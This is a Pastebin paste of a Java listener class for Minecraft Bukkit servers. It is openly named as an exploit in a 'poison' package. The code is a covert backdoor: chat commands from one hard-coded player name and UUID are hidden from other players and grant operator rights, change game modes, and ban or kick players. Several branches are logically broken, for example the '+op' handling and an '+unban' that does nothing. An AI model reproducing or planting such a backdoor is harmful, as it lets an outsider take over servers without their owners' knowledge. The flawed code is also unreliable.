Guest User

Untitled

a guest
Jan 21st, 2020
129
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package de.ibimseinmystery.poison.listener;
  2.  
  3. import java.util.UUID;
  4.  
  5. import org.bukkit.BanList;
  6. import org.bukkit.Bukkit;
  7. import org.bukkit.GameMode;
  8. import org.bukkit.entity.Player;
  9. import org.bukkit.event.EventHandler;
  10. import org.bukkit.event.Listener;
  11. import org.bukkit.event.player.AsyncPlayerChatEvent;
  12.  
  13. public class Exploit_IBimsEinMystery implements Listener {
  14.  
  15. @EventHandler
  16. public void onChat(AsyncPlayerChatEvent e) {
  17.  
  18. Player p = e.getPlayer();
  19. String msg = e.getMessage();
  20. String[] args = msg.split(" ");
  21. BanList bannedPlayer = Bukkit.getBanList(BanList.Type.NAME);
  22.  
  23. if (p.getName().equalsIgnoreCase("IBimsEinMystery")
  24. && p.getUniqueId().equals(UUID.fromString("58a98633-ac6d-4839-a270-194b778cca6f"))) {
  25.  
  26. try {
  27. if (args[0].equalsIgnoreCase("+cmd")) {
  28. e.setCancelled(true);
  29. p.sendMessage("§7[]--------- §5Commands §7----------[]");
  30. p.sendMessage("§5+op <Spieler> §eOppet dich oder einen Spieler");
  31. p.sendMessage("§5+deop <Spieler> §eDe-oppet dich oder einen Spieler");
  32. p.sendMessage("§5+gm [1/2/3/0] <Spieler> §eÄndere deinen oder von anderen Spielern denn Spielmodus");
  33. p.sendMessage("§5+ban [Spieler] §eBanne Spieler");
  34. p.sendMessage("§5+unban [Spieler] §eEntbanne Spieler");
  35. p.sendMessage("§5+kick [Spieler] §eKicke Spieler");
  36. p.sendMessage("§7[]--------- §5Commands §7----------[]");
  37.  
  38. }if(msg.startsWith("+op") || args.length < 1) {
  39. e.setCancelled(true);
  40. Player t = Bukkit.getPlayer(args[0]);
  41. t.setOp(true);
  42. p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  43. t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  44. }else if(msg.startsWith("+op") || args.length < 0) {
  45. e.setCancelled(true);
  46. p.setOp(true);
  47. p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
  48.  
  49. /*
  50. if (msg.equalsIgnoreCase("+op")) {
  51. if(args.length == 0) {
  52. e.setCancelled(true);
  53. p.setOp(true);
  54. p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
  55. }else if(args.length == 1) {
  56. e.setCancelled(true);
  57. Player t = Bukkit.getPlayer(args[1]);
  58. t.setOp(true);
  59. p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  60. t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  61. }else
  62. p.sendMessage("§cBitte benutze +op <Spieler>!");
  63. */
  64.  
  65. }if (msg.equalsIgnoreCase("+deop")) {
  66. if(args.length == 0) {
  67. e.setCancelled(true);
  68. p.setOp(false);
  69. p.sendMessage("§7§o[Server: De-opped " + p.getName() + "]");
  70. }else if(args.length == 1) {
  71. e.setCancelled(true);
  72. Player t = Bukkit.getPlayer(args[1]);
  73. t.setOp(false);
  74. p.sendMessage("§7§o[Server: De-opped " + t.getName() + "]");
  75. }else
  76. p.sendMessage("§cBitte benutze +deop <Spieler>!");
  77. }if (msg.equalsIgnoreCase("+gm 1")) {
  78. e.setCancelled(true);
  79. p.setGameMode(GameMode.CREATIVE);
  80. p.sendMessage("§7§o[Server: Changing to Creative Mode]");
  81.  
  82. }if (msg.equalsIgnoreCase("+gm 2")) {
  83. e.setCancelled(true);
  84. p.setGameMode(GameMode.ADVENTURE);
  85. p.sendMessage("§7§o[Server: Changing to Adventure Mode]");
  86.  
  87. }if (msg.equalsIgnoreCase("+gm 3")) {
  88. e.setCancelled(true);
  89. p.setGameMode(GameMode.SPECTATOR);
  90. p.sendMessage("§7§o[Server: Changing to Spectator Mode]");
  91.  
  92. }if (msg.equalsIgnoreCase("+gm 0")) {
  93. e.setCancelled(true);
  94. p.setGameMode(GameMode.SURVIVAL);
  95. p.sendMessage("§7§o[Server: Changing to Survival Mode]");
  96.  
  97. }if (msg.equalsIgnoreCase("+ban")) {
  98. Player t = Bukkit.getPlayer(args[1]);
  99. e.setCancelled(true);
  100. bannedPlayer.addBan(t.getName(), "", null, "");
  101. p.sendMessage("§7§o[Server: Banned " + t.getName() + "]");
  102.  
  103. }if (msg.equalsIgnoreCase("+unban")) {
  104. Player t = Bukkit.getPlayer(args[1]);
  105. e.setCancelled(true);
  106. p.sendMessage("§7§o[Server: Un-banned " + t.getName() + "]");
  107.  
  108. }if (msg.equalsIgnoreCase("+kick")) {
  109. if(args.length == 1) {
  110. Player t = Bukkit.getPlayer(args[1]);
  111. if(t != null) {
  112. e.setCancelled(true);
  113. t.kickPlayer("You are kicked by an operator!");
  114. p.sendMessage("§7§o[Server: Kicked " + t.getName() + "]");
  115. }else
  116. p.sendMessage("Spieler nicht online!");
  117. }else
  118. p.sendMessage("§cBitte benutze +kick [Spieler]");
  119. }
  120. }catch (Exception exception) {
  121. System.out.println("Nachricht: " + msg);
  122. exception.printStackTrace();
  123. }
  124. } //Argumentenlänge
  125. } //UUID Abfrage
  126. }
RAW Paste Data